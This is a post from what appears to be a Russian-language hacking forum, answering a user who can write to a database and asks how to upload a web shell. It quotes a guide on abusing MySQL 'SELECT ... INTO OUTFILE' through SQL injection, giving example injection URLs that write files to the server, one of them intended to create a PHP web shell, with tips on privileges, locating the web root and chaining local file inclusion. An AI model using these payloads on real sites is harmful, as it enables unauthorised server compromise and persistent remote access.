Тема: shell.php.jpg
Показать сообщение отдельно

  #43  
Старый 21.01.2016, 08:22
ArmusIAm
Познающий
Регистрация: 08.01.2016
Сообщений: 33
Провел на форуме:
7147

Репутация: 0
По умолчанию

Цитата:
Сообщение от .Light.  

Могу сделать запись в БД,подскажите как залить шел?
Цитата:
Сообщение от None  
2.2.1 Запись в файл
Есть в MYSQL такая интересная функция типа
SELECT … INTO OUTFILE
позволяющая записывать информацию в файл. Либо такая конструкция
SELECT ... INTO DUMPFILE
они почти похоже и можно использовать любую.
Пример:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' --
Для нее работает несколько ограничений.
  • Запрещенно перезаписывание файлов
  • Требуются привилегии типа FILE
  • (!)Обязательны настоящие кывычки в указании имени файла
А вот что бы нам мешало сделать веб шел? Вот например так:
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'',5,6 INTO OUTFILE '1.php' --
Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема.
/threads/43966/
 
Ответить с цитированием